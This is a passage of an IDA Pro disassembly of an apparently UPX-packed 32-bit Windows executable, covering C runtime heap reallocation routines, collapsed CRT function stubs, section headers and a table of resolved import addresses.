loc_4CD171: ; CODE XREF: sub_4CD0F9+71j
sub [ebp+arg_4], esi
cmp [ebp+arg_4], edx
jb loc_4CD216
loc_4CD17D: ; CODE XREF: sub_4CD0F9+76j
mov edi, [ebp+var_4]
mov eax, ebx
jmp short loc_4CD189
; ---------------------------------------------------------------------------
loc_4CD184: ; CODE XREF: sub_4CD0F9+59j
movzx esi, bl
add eax, esi
loc_4CD189: ; CODE XREF: sub_4CD0F9+89j
lea esi, [eax+edx]
cmp esi, [ebp+arg_0]
jb short loc_4CD14E
loc_4CD191: ; CODE XREF: sub_4CD0F9+53j
lea esi, [ecx+8]
loc_4CD194: ; CODE XREF: sub_4CD0F9+EBj
; sub_4CD0F9+F2j
cmp esi, edi
jnb short loc_4CD216
lea eax, [esi+edx]
cmp eax, [ebp+arg_0]
jnb short loc_4CD216
mov al, [esi]
test al, al
jnz short loc_4CD1E6
push 1
lea ebx, [esi+1]
pop eax
loc_4CD1AC: ; CODE XREF: sub_4CD0F9+BAj
cmp byte ptr [ebx], 0
jnz short loc_4CD1D6
inc ebx
inc eax
jmp short loc_4CD1AC
; ---------------------------------------------------------------------------
loc_4CD1B5: ; CODE XREF: sub_4CD0F9+6Cj
lea ebx, [eax+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_4CD1C6
sub esi, edx
mov [ecx], ebx
mov [ecx+4], esi
jmp short loc_4CD1CF
; ---------------------------------------------------------------------------
loc_4CD1C6: ; CODE XREF: sub_4CD0F9+C2j
and dword ptr [ecx+4], 0
lea esi, [ecx+8]
mov [ecx], esi
loc_4CD1CF: ; CODE XREF: sub_4CD0F9+CBj
mov [eax], dl
add eax, 8
jmp short loc_4CD20C
; ---------------------------------------------------------------------------
loc_4CD1D6: ; CODE XREF: sub_4CD0F9+B6j
cmp eax, edx
jnb short loc_4CD1ED
sub [ebp+arg_4], eax
cmp [ebp+arg_4], edx
jb short loc_4CD216
mov esi, ebx
jmp short loc_4CD194
; ---------------------------------------------------------------------------
loc_4CD1E6: ; CODE XREF: sub_4CD0F9+ABj
movzx eax, al
add esi, eax
jmp short loc_4CD194
; ---------------------------------------------------------------------------
loc_4CD1ED: ; CODE XREF: sub_4CD0F9+DFj
lea ebx, [esi+edx]
cmp ebx, [ebp+arg_0]
jnb short loc_4CD1FE
sub eax, edx
mov [ecx], ebx
mov [ecx+4], eax
jmp short loc_4CD207
; ---------------------------------------------------------------------------
loc_4CD1FE: ; CODE XREF: sub_4CD0F9+FAj
and dword ptr [ecx+4], 0
lea eax, [ecx+8]
mov [ecx], eax
loc_4CD207: ; CODE XREF: sub_4CD0F9+103j
mov [esi], dl
lea eax, [esi+8]
loc_4CD20C: ; CODE XREF: sub_4CD0F9+40j
; sub_4CD0F9+DBj
imul ecx, 0Fh
shl eax, 4
sub eax, ecx
jmp short loc_4CD218
; ---------------------------------------------------------------------------
loc_4CD216: ; CODE XREF: sub_4CD0F9+7Ej
; sub_4CD0F9+9Dj ...
xor eax, eax
loc_4CD218: ; CODE XREF: sub_4CD0F9+11Bj
pop edi
pop esi
pop ebx
leave
retn
sub_4CD0F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4CD21D proc near ; CODE XREF: sub_4CEEC3+19Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
mov edx, [ebp+arg_8]
push ebx
mov ebx, [ebp+arg_4]
push esi
movzx ecx, byte ptr [edx]
push edi
mov edi, [ebp+arg_0]
and [ebp+var_4], 0
mov eax, ebx
sub eax, [edi+10h]
sar eax, 0Ch
cmp ecx, [ebp+arg_C]
lea edi, [edi+eax*8+18h]
jbe short loc_4CD257
mov eax, [ebp+arg_C]
sub ecx, eax
mov [edx], al
add [edi], ecx
mov dword ptr [edi+4], 0F1h
jmp short loc_4CD2B7
; ---------------------------------------------------------------------------
loc_4CD257: ; CODE XREF: sub_4CD21D+26j
jnb short loc_4CD2BE
mov eax, [ebp+arg_C]
lea esi, [edx+eax]
lea eax, [ebx+0F8h]
cmp eax, esi
jb short loc_4CD2BE
lea eax, [ecx+edx]
loc_4CD26C: ; CODE XREF: sub_4CD21D+59j
cmp eax, esi
jnb short loc_4CD27A
cmp byte ptr [eax], 0
jnz short loc_4CD278
inc eax
jmp short loc_4CD26C
; ---------------------------------------------------------------------------
loc_4CD278: ; CODE XREF: sub_4CD21D+56j
cmp eax, esi
loc_4CD27A: ; CODE XREF: sub_4CD21D+51j
jnz short loc_4CD2BE
mov al, byte ptr [ebp+arg_C]
mov [edx], al
mov eax, [ebx]
cmp edx, eax
ja short loc_4CD2B2
cmp esi, eax
jbe short loc_4CD2B2
lea eax, [ebx+0F8h]
cmp esi, eax
jnb short loc_4CD2A9
xor eax, eax
mov [ebx], esi
cmp [esi], al
jnz short loc_4CD2A4
loc_4CD29D: ; CODE XREF: sub_4CD21D+85j
inc eax
cmp byte ptr [esi+eax], 0
jz short loc_4CD29D
loc_4CD2A4: ; CODE XREF: sub_4CD21D+7Ej
mov [ebx+4], eax
jmp short loc_4CD2B2
; ---------------------------------------------------------------------------
loc_4CD2A9: ; CODE XREF: sub_4CD21D+76j
and dword ptr [ebx+4], 0
lea eax, [ebx+8]
mov [ebx], eax
loc_4CD2B2: ; CODE XREF: sub_4CD21D+68j
; sub_4CD21D+6Cj ...
sub ecx, [ebp+arg_C]
add [edi], ecx
loc_4CD2B7: ; CODE XREF: sub_4CD21D+38j
mov [ebp+var_4], 1
loc_4CD2BE: ; CODE XREF: sub_4CD21D:loc_4CD257j
; sub_4CD21D+4Aj ...
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_4CD21D endp
; [0000009A BYTES: COLLAPSED FUNCTION __lseek_0. PRESS KEYPAD "+" TO EXPAND]
; [000001AD BYTES: COLLAPSED FUNCTION __write_0. PRESS KEYPAD "+" TO EXPAND]
; [00000044 BYTES: COLLAPSED FUNCTION __getbuf_0. PRESS KEYPAD "+" TO EXPAND]
; [00000026 BYTES: COLLAPSED FUNCTION __isatty_0. PRESS KEYPAD "+" TO EXPAND]
; [000000A5 BYTES: COLLAPSED FUNCTION ___initstdio_0. PRESS KEYPAD "+" TO EXPAND]
; [00000014 BYTES: COLLAPSED FUNCTION ___endstdio_0. PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION _wctomb_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000075 BYTES: COLLAPSED FUNCTION __aullrem_0. PRESS KEYPAD "+" TO EXPAND]
; [00000149 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeA_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000084 BYTES: COLLAPSED FUNCTION _strcmp_0. PRESS KEYPAD "+" TO EXPAND]
; [0000007D BYTES: COLLAPSED FUNCTION _getenv_0. PRESS KEYPAD "+" TO EXPAND]
; [000000CB BYTES: COLLAPSED FUNCTION _tolower_0. PRESS KEYPAD "+" TO EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __ismbblead_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4CDAAD proc near ; CODE XREF: __ismbblead_0+8p
arg_0 = byte ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
movzx eax, [esp+arg_0]
mov cl, [esp+arg_8]
test byte_4F4DC1[eax], cl
jnz short loc_4CDADA
cmp [esp+arg_4], 0
jz short loc_4CDAD3
movzx eax, word_4EF35E[eax*2]
and eax, [esp+arg_4]
jmp short loc_4CDAD5
; ---------------------------------------------------------------------------
loc_4CDAD3: ; CODE XREF: sub_4CDAAD+16j
xor eax, eax
loc_4CDAD5: ; CODE XREF: sub_4CDAAD+24j
test eax, eax
jnz short loc_4CDADA
retn
; ---------------------------------------------------------------------------
loc_4CDADA: ; CODE XREF: sub_4CDAAD+Fj
; sub_4CDAAD+2Aj
push 1
pop eax
retn
sub_4CDAAD endp
; [00000199 BYTES: COLLAPSED FUNCTION __setmbcp_0. PRESS KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION _getSystemCP_0. PRESS KEYPAD "+" TO EXPAND]
; [00000033 BYTES: COLLAPSED FUNCTION _CPtoLCID_0. PRESS KEYPAD "+" TO EXPAND]
; [00000029 BYTES: COLLAPSED FUNCTION _setSBCS_0. PRESS KEYPAD "+" TO EXPAND]
; [00000185 BYTES: COLLAPSED FUNCTION _setSBUpLow_0. PRESS KEYPAD "+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION ___initmbctable_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4CDEBE proc near ; CODE XREF: sub_4CBD81+11Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push 0
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call _strtoxl_0
add esp, 10h
retn
sub_4CDEBE endp
; [00000208 BYTES: COLLAPSED FUNCTION _strtoxl_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000080 BYTES: COLLAPSED FUNCTION _strstr_0. PRESS KEYPAD "+" TO EXPAND]
; [00000038 BYTES: COLLAPSED FUNCTION _strncmp_0. PRESS KEYPAD "+" TO EXPAND]
; [00000089 BYTES: COLLAPSED FUNCTION ___crtMessageBoxA_0. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION __dosmaperr_0. PRESS KEYPAD "+" TO EXPAND]
; [0000007A BYTES: COLLAPSED FUNCTION __free_osfhnd_0. PRESS KEYPAD "+" TO EXPAND]
; [0000003D BYTES: COLLAPSED FUNCTION __get_osfhandle_0. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION __fcloseall_0. PRESS KEYPAD "+" TO EXPAND]
; [0000003B BYTES: COLLAPSED FUNCTION _fflush_0. PRESS KEYPAD "+" TO EXPAND]
; [0000005C BYTES: COLLAPSED FUNCTION __flush_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4CE42E proc near ; CODE XREF: ___endstdio_0p
push 1
call _flsall_0
pop ecx
retn
sub_4CE42E endp
; [0000006D BYTES: COLLAPSED FUNCTION _flsall_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_4CE4A4 proc near ; CODE XREF: __output_0+3AAp
; __output_0+3CBp ...
push 2
call __amsg_exit_0
pop ecx
retn
sub_4CE4A4 endp
; [0000003F BYTES: COLLAPSED FUNCTION __mbsnbicoll_0. PRESS KEYPAD "+" TO EXPAND]
; [0000006E BYTES: COLLAPSED FUNCTION ___wtomb_environ_0. PRESS KEYPAD "+" TO EXPAND]
; [00000224 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA_0. PRESS KEYPAD "+" TO EXPAND]
; [000000CC BYTES: COLLAPSED FUNCTION _toupper_0. PRESS KEYPAD "+" TO EXPAND]
; [00000056 BYTES: COLLAPSED FUNCTION _fclose_0. PRESS KEYPAD "+" TO EXPAND]
; [00000057 BYTES: COLLAPSED FUNCTION __commit_0. PRESS KEYPAD "+" TO EXPAND]
; [0000027D BYTES: COLLAPSED FUNCTION ___crtCompareStringA_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION _strncnt_0. PRESS KEYPAD "+" TO EXPAND]
; [00000187 BYTES: COLLAPSED FUNCTION ___crtsetenv_0. PRESS KEYPAD "+" TO EXPAND]
; [00000058 BYTES: COLLAPSED FUNCTION _findenv_0. PRESS KEYPAD "+" TO EXPAND]
; [00000067 BYTES: COLLAPSED FUNCTION _copy_environ_0. PRESS KEYPAD "+" TO EXPAND]
; [000000B3 BYTES: COLLAPSED FUNCTION __close_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __freebuf_0. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4CEEC3(void *Src,size_t Size)
sub_4CEEC3 proc near ; CODE XREF: ___crtsetenv_0+EDp
; ___crtsetenv_0+115p
var_4 = dword ptr -4
Src = dword ptr 8
Size = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+Src], 0
push ebx
push esi
push edi
jnz short loc_4CEEDE
push [ebp+Size] ; Size
call _malloc_0
pop ecx
jmp loc_4CF15E
; ---------------------------------------------------------------------------
loc_4CEEDE: ; CODE XREF: sub_4CEEC3+Bj
mov esi, [ebp+Size]
test esi, esi
jnz short loc_4CEEF3
push [ebp+Src]
call sub_4CA2FB
pop ecx
jmp loc_4CF15C
; ---------------------------------------------------------------------------
loc_4CEEF3: ; CODE XREF: sub_4CEEC3+20j
mov eax, dword_4F5F04
cmp eax, 3
jnz loc_4CF003
loc_4CEF01: ; CODE XREF: sub_4CEEC3+12Ej
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_4CEFDF
push [ebp+Src]
call ___sbh_find_block_0
mov ebx, eax
pop ecx
test ebx, ebx
jz loc_4CEFBA
cmp esi, dword_4F5EFC
ja short loc_4CEF73
mov edi, [ebp+Src]
push esi
push edi
push ebx
call ___sbh_resize_block_0
add esp, 0Ch
test eax, eax
jnz short loc_4CEF6F
push esi
call ___sbh_alloc_block_0
mov edi, eax
pop ecx
test edi, edi
jz short loc_4CEF73
mov ebx, [ebp+Src]
mov eax, [ebx-4]
dec eax
cmp eax, esi
jb short loc_4CEF53
mov eax, esi
loc_4CEF53: ; CODE XREF: sub_4CEEC3+8Cj
push eax ; Size
push ebx ; Src
push edi ; Dst
call _memcpy_1
push ebx
call ___sbh_find_block_0
push [ebp+Src]
mov ebx, eax
push ebx
call sub_4CC125
add esp, 18h
loc_4CEF6F: ; CODE XREF: sub_4CEEC3+74j
test edi, edi
jnz short loc_4CEFB6
loc_4CEF73: ; CODE XREF: sub_4CEEC3+62j
; sub_4CEEC3+81j
test esi, esi
jnz short loc_4CEF7A
push 1
pop esi
loc_4CEF7A: ; CODE XREF: sub_4CEEC3+B2j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push 0
push dword_4F5F00
call dword_4ED18C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_4CEFB6
mov ecx, [ebp+Src]
mov eax, [ecx-4]
dec eax
cmp eax, esi
jb short loc_4CEFA2
mov eax, esi
loc_4CEFA2: ; CODE XREF: sub_4CEEC3+DBj
push eax ; Size
push ecx ; Src
push edi ; Dst
call _memcpy_1
push [ebp+Src]
push ebx
call sub_4CC125
add esp, 14h
loc_4CEFB6: ; CODE XREF: sub_4CEEC3+AEj
; sub_4CEEC3+D0j
test ebx, ebx
jnz short loc_4CEFDB
loc_4CEFBA: ; CODE XREF: sub_4CEEC3+56j
test esi, esi
jnz short loc_4CEFC1
push 1
pop esi
loc_4CEFC1: ; CODE XREF: sub_4CEEC3+F9j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+Src]
push 0
push dword_4F5F00
call dword_4ED154 ; RtlReAllocateHeap
mov edi, eax
loc_4CEFDB: ; CODE XREF: sub_4CEEC3+F5j
test edi, edi
jnz short loc_4CEFFC
loc_4CEFDF: ; CODE XREF: sub_4CEEC3+43j
cmp dword_4F4C44, 0
jz short loc_4CEFFC
push esi
call __callnewh_0
test eax, eax
pop ecx
jnz loc_4CEF01
jmp loc_4CF15C
; ---------------------------------------------------------------------------
loc_4CEFFC: ; CODE XREF: sub_4CEEC3+11Aj
; sub_4CEEC3+123j ...
mov eax, edi
jmp loc_4CF15E
; ---------------------------------------------------------------------------
loc_4CF003: ; CODE XREF: sub_4CEEC3+38j
cmp eax, 2
jnz loc_4CF11E
cmp esi, 0FFFFFFE0h
ja short loc_4CF020
test esi, esi
jbe short loc_4CF01D
add esi, 0Fh
and esi, 0FFFFFFF0h
jmp short loc_4CF020
; ---------------------------------------------------------------------------
loc_4CF01D: ; CODE XREF: sub_4CEEC3+150j
push 10h
pop esi
loc_4CF020: ; CODE XREF: sub_4CEEC3+14Cj
; sub_4CEEC3+158j ...
xor edi, edi
cmp esi, 0FFFFFFE0h
ja loc_4CF100
lea eax, [ebp+Size]
push eax
lea eax, [ebp+var_4]
push eax
push [ebp+Src]
call sub_4CCE55
mov ebx, eax
add esp, 0Ch
test ebx, ebx
jz loc_4CF0E4
cmp esi, dword_4F177C
jnb short loc_4CF0A8
mov edi, esi
shr edi, 4
push edi
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_4CD21D
add esp, 10h
test eax, eax
jz short loc_4CF06E
mov edi, [ebp+Src]
jmp short loc_4CF0A0
; ---------------------------------------------------------------------------
loc_4CF06E: ; CODE XREF: sub_4CEEC3+1A4j
push edi
call sub_4CCEF1
mov edi, eax
pop ecx
test edi, edi
jz short loc_4CF0A8
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_4CF087
mov eax, esi
loc_4CF087: ; CODE XREF: sub_4CEEC3+1C0j
push eax ; Size
push [ebp+Src] ; Src
push edi ; Dst
call _memcpy_1
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_4CCEAC
add esp, 18h
loc_4CF0A0: ; CODE XREF: sub_4CEEC3+1A9j
test edi, edi
jnz loc_4CEFFC
loc_4CF0A8: ; CODE XREF: sub_4CEEC3+18Bj
; sub_4CEEC3+1B6j
push esi
push 0
push dword_4F5F00
call dword_4ED18C ; RtlAllocateHeap
mov edi, eax
test edi, edi
jz short loc_4CF100
movzx eax, byte ptr [ebx]
shl eax, 4
cmp eax, esi
jb short loc_4CF0C9
mov eax, esi
loc_4CF0C9: ; CODE XREF: sub_4CEEC3+202j
push eax ; Size
push [ebp+Src] ; Src
push edi ; Dst
call _memcpy_1
push ebx
push [ebp+Size]
push [ebp+var_4]
call sub_4CCEAC
add esp, 18h
jmp short loc_4CF0F8
; ---------------------------------------------------------------------------
loc_4CF0E4: ; CODE XREF: sub_4CEEC3+17Fj
push esi
push [ebp+Src]
push 0
push dword_4F5F00
call dword_4ED154 ; RtlReAllocateHeap
mov edi, eax
loc_4CF0F8: ; CODE XREF: sub_4CEEC3+21Fj
test edi, edi
jnz loc_4CEFFC
loc_4CF100: ; CODE XREF: sub_4CEEC3+162j
; sub_4CEEC3+1F8j
cmp dword_4F4C44, 0
jz loc_4CEFFC
push esi
call __callnewh_0
test eax, eax
pop ecx
jnz loc_4CF020
jmp short loc_4CF15C
; ---------------------------------------------------------------------------
loc_4CF11E: ; CODE XREF: sub_4CEEC3+143j
; sub_4CEEC3+297j
xor eax, eax
cmp esi, 0FFFFFFE0h
ja short loc_4CF148
test esi, esi
jnz short loc_4CF12C
push 1
pop esi
loc_4CF12C: ; CODE XREF: sub_4CEEC3+264j
add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push [ebp+Src]
push 0
push dword_4F5F00
call dword_4ED154 ; RtlReAllocateHeap
test eax, eax
jnz short loc_4CF15E
loc_4CF148: ; CODE XREF: sub_4CEEC3+260j
cmp dword_4F4C44, 0
jz short loc_4CF15E
push esi
call __callnewh_0
test eax, eax
pop ecx
jnz short loc_4CF11E
loc_4CF15C: ; CODE XREF: sub_4CEEC3+2Bj
; sub_4CEEC3+134j ...
xor eax, eax
loc_4CF15E: ; CODE XREF: sub_4CEEC3+16j
; sub_4CEEC3+13Bj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4CEEC3 endp
; [00000073 BYTES: COLLAPSED FUNCTION __mbschr_0. PRESS KEYPAD "+" TO EXPAND]
; [0000002B BYTES: COLLAPSED FUNCTION __strdup_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4CF210 proc near ; CODE XREF: __global_unwind2_0+13p
jmp dword_4ED19C
sub_4CF210 endp
; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp_0. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [000000AD BYTES: COLLAPSED FUNCTION __strnicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION _towlower_0. PRESS KEYPAD "+" TO EXPAND]
; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW_0. PRESS KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt_0. PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _iswctype_0. PRESS KEYPAD "+" TO EXPAND]
; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW_0. PRESS KEYPAD "+" TO EXPAND]
align 4
dd 124Fh dup(0)
db 2 dup(0)
word_4D4152 dw 0 ; DATA XREF: UPX0:off_42D644o
dd 23ABh dup(0)
_text ends
; Section 5. (virtual address 000DD000)
; Virtual size : 00010000 ( 65536.)
; Section size in file : 00010000 ( 65536.)
; Offset to raw data for section: 000DD000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_adata segment para public 'CODE' use32
assume cs:_adata
;org 4DD000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dd 0C12h dup(0)
db 0
byte_4E0049 db 3 dup(0) ; DATA XREF: UPX0:0042BC94o
dd 1040h dup(0)
dword_4E414C dd 23ADh dup(0) ; DATA XREF: UPX0:off_42CE44o
_adata ends
; Section 6. (virtual address 000ED000)
; Virtual size : 00020000 ( 131072.)
; Section size in file : 00020000 ( 131072.)
; Offset to raw data for section: 000ED000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 4ED000h
dword_4ED000 dd 77C72C6Bh ; DATA XREF: sub_4B6828+354r
; sub_4B6F14+122r
dword_4ED004 dd 77C7DC0Bh ; DATA XREF: sub_4B6828+317r
; sub_4B6F14+CBr
dword_4ED008 dd 77C7413Eh ; DATA XREF: sub_4B6828+30Ar
; sub_4B6828+34Ar ...
dword_4ED00C dd 77C76B34h ; DATA XREF: sub_4B6828+2E5r
dword_4ED010 dd 77C75890h ; DATA XREF: sub_4B6828+2A5r
dword_4ED014 dd 77C72889h ; DATA XREF: sub_4B6F14+164r
; sub_4B6F14+184r
dword_4ED018 dd 77C729E2h ; DATA XREF: sub_4B6F14+F4r
dword_4ED01C dd 77C71BB0h ; DATA XREF: sub_4B6F14+99r
; sub_4B6F14+118r
dword_4ED020 dd 77C7212Fh ; DATA XREF: sub_4B6F14+85r
dword_4ED024 dd 77C76DB8h ; DATA XREF: sub_4B6828+331r
dd 0
dword_4ED02C dd 77E7AC37h ; DATA XREF: sub_4B3AA2+17r
; .text:004B5698r ...
dword_4ED030 dd 77E71B14h ; DATA XREF: sub_4B3AFF+199r
; sub_4B3AFF+222r ...
dword_4ED034 dd 77E7166Fh ; DATA XREF: sub_4B3AFF+17Cr
; sub_4B3AFF+205r ...
dword_4ED038 dd 77E736A3h ; DATA XREF: sub_4B3AFF+16Fr
; sub_4B3AFF+1F8r ...
dword_4ED03C dd 77E7751Ah ; DATA XREF: sub_4B3AFF+10r
; sub_4B3AFF+74r ...
dword_4ED040 dd 77E79924h ; DATA XREF: sub_4B3E30+2Er
; __tzset_0+ABr ...
dword_4ED044 dd 77E7339Ch ; DATA XREF: sub_4B3E30+9r
dword_4ED048 dd 77E6C674h ; DATA XREF: sub_4B3E69+92r
; sub_4B3E69+A1r ...
dword_4ED04C dd 77E6D36Bh ; DATA XREF: sub_4B3E69+45r
; sub_4B3E69+54r ...
dword_4ED050 dd 77E79F93h ; DATA XREF: sub_4B3F59+3Dr
; sub_4B3F59+7Fr ...
dword_4ED054 dd 77E73803h ; DATA XREF: sub_4B40C4+44Cr
dword_4ED058 dd 77E99F21h ; DATA XREF: sub_4B40C4+1ECr
; sub_4B40C4+203r
dword_4ED05C dd 77E6D28Ch ; DATA XREF: sub_4B40C4+13Er
; sub_4B40C4+149r ...
dword_4ED060 dd 77E6D4C2h ; DATA XREF: sub_4B40C4+BDr
; sub_4B40C4+D4r
dword_4ED064 dd 77EC5E29h ; DATA XREF: sub_4B45FB+1DAr
; .text:004B9C33r
dword_4ED068 dd 77E7AC5Eh ; DATA XREF: sub_4B4965+13Fr
; .text:004B590Dr ...
dword_4ED06C dd 77E6169Ah ; DATA XREF: .text:004B5239r
dword_4ED070 dd 77E7980Ah ; DATA XREF: .text:004B4EDBr
; .text:004B4F7Ar ...
dword_4ED074 dd 77E7A5FDh ; DATA XREF: sub_4B5417+D9r
; sub_4B5417+12Fr ...
dword_4ED078 dd 77F5157Dh ; DATA XREF: sub_4B5417+78r
; .text:004B5795r ...
dword_4ED07C dd 77E805D8h ; DATA XREF: sub_4B5417+5Fr
; .text:004B5B3Ar ...
dword_4ED080 dd 77F51587h ; DATA XREF: sub_4B5417+55r
dword_4ED084 dd 77E715F7h ; DATA XREF: .text:004B5B28r
; sub_4B78A3+38r
dword_4ED088 dd 77E73163h ; DATA XREF: .text:004B5B21r
; sub_4B78A3+31r
dword_4ED08C dd 77E61BB8h ; DATA XREF: .text:004B5A6Fr
; .text:004B9987r
dword_4ED090 dd 77E7C938h ; DATA XREF: .text:004B5A61r
; .text:004B9979r ...
dword_4ED094 dd 77E6177Ah ; DATA XREF: .text:004B59B1r
; .text:004B98C5r ...
dword_4ED098 dd 77E6BD68h ; DATA XREF: .text:004B5985r
; .text:004B5F6Cr ...
dword_4ED09C dd 77E776A0h ; DATA XREF: .text:004B58B4r
dword_4ED0A0 dd 77E79D5Bh ; DATA XREF: .text:004B57B2r
dword_4ED0A4 dd 77E7C2C4h ; DATA XREF: .text:004B577Cr
; .text:004B5D35r ...
dword_4ED0A8 dd 77E8074Ah ; DATA XREF: .text:004B570Fr
; .text:004B5B11r
dword_4ED0AC dd 77E77CC4h ; DATA XREF: sub_4B67B0+4r
; sub_4B6C08:loc_4B6CC2r
dword_4ED0B0 dd 77E78B82h ; DATA XREF: .text:004B727Er
dword_4ED0B4 dd 77E793EFh ; DATA XREF: .text:004B724Er
dword_4ED0B8 dd 77E7A837h ; DATA XREF: .text:004B7235r
dword_4ED0BC dd 77E78EAAh ; DATA XREF: sub_4B72D0+53r
; sub_4B735F+53r
dword_4ED0C0 dd 77E75D9Eh ; DATA XREF: sub_4B72D0+33r
dword_4ED0C4 dd 77E78A39h ; DATA XREF: sub_4B735F+33r
dd 77E7F01Ah
dword_4ED0CC dd 77E7FF65h ; DATA XREF: sub_4B7C87+Cr
dword_4ED0D0 dd 77E61A54h ; DATA XREF: .text:004B7E14r
; .text:004BA4D7r ...
dword_4ED0D4 dd 77E75090h ; DATA XREF: .text:004BC125r
dword_4ED0D8 dd 77EB3AC1h ; DATA XREF: .text:004BC0B0r
; .text:004BC0D1r
dword_4ED0DC dd 77EB9953h ; DATA XREF: .text:004BB5DCr
dword_4ED0E0 dd 77E97F16h ; DATA XREF: .text:004B9F66r
; .text:004BB20Ar ...
dd 77EB3A07h
dword_4ED0E8 dd 77E77963h ; DATA XREF: sub_4B3AA2+24r
; sub_4B6C08+87r ...
dword_4ED0EC dd 77EB3709h ; DATA XREF: .text:004B9B6Dr
dword_4ED0F0 dd 77E6E154h ; DATA XREF: .text:004B9B5Er
; .text:004BB985r ...
dword_4ED0F4 dd 77E61B8Ah ; DATA XREF: .text:004B9A76r
dword_4ED0F8 dd 77E7C9DBh ; DATA XREF: .text:004B9A68r
dword_4ED0FC dd 77E616E6h ; DATA XREF: .text:004B99B3r
dword_4ED100 dd 77E74D76h ; DATA XREF: .text:004B8D5Dr
dword_4ED104 dd 77E79CE3h ; DATA XREF: .text:004B8D45r
dword_4ED108 dd 77E79C90h ; DATA XREF: .text:loc_4B8D0Dr
; _doexit_0+10r
dword_4ED10C dd 77E77797h ; DATA XREF: .text:004B8CF1r
dword_4ED110 dd 77E7C4B7h ; DATA XREF: .text:004BC53Cr
; .text:loc_4BC5A0r ...
dword_4ED114 dd 77E61A90h ; DATA XREF: .text:004BD96Er
; .text:004BDE9Cr ...
dword_4ED118 dd 77E75CB5h ; DATA XREF: sub_4BE283+95r
; _doexit_0+91r ...
dword_4ED11C dd 77E70F89h ; DATA XREF: .text:004BE49Er
; _time_0+Dr
dword_4ED120 dd 77E762D0h ; DATA XREF: ___crtCompareStringA_0+5Br
; ___crtCompareStringA_0+B9r
dword_4ED124 dd 77E73FF9h ; DATA XREF: __commit_0+2Cr
dword_4ED128 dd 77E781F9h ; DATA XREF: ___crtLCMapStringA_0+42r
; ___crtLCMapStringA_0+14Dr ...
dword_4ED12C dd 77E77405h ; DATA XREF: ___crtLCMapStringA_0+5Er
; ___crtLCMapStringA_0+A7r ...
dword_4ED130 dd 77E7FF2Eh ; DATA XREF: __free_osfhnd_0:loc_4CE2DBr
dword_4ED134 dd 77E6C703h ; DATA XREF: _getSystemCP_0+1Ar
dword_4ED138 dd 77E7A13Fh ; DATA XREF: _getSystemCP_0+2Fr
dword_4ED13C dd 77E7849Fh ; DATA XREF: __setmbcp_0+48r
; _setSBUpLow_0+14r ...
dword_4ED140 dd 77E77F2Eh ; DATA XREF: ___crtCompareStringA_0+3Er
; ___crtCompareStringA_0+261r
dword_4ED144 dd 77E7C866h ; DATA XREF: ___crtGetStringTypeA_0+3Fr
; ___crtGetStringTypeA_0+12Dr ...
dword_4ED148 dd 77E641EBh ; DATA XREF: ___crtGetStringTypeA_0+59r
; ___crtGetStringTypeA_0+8Dr ...
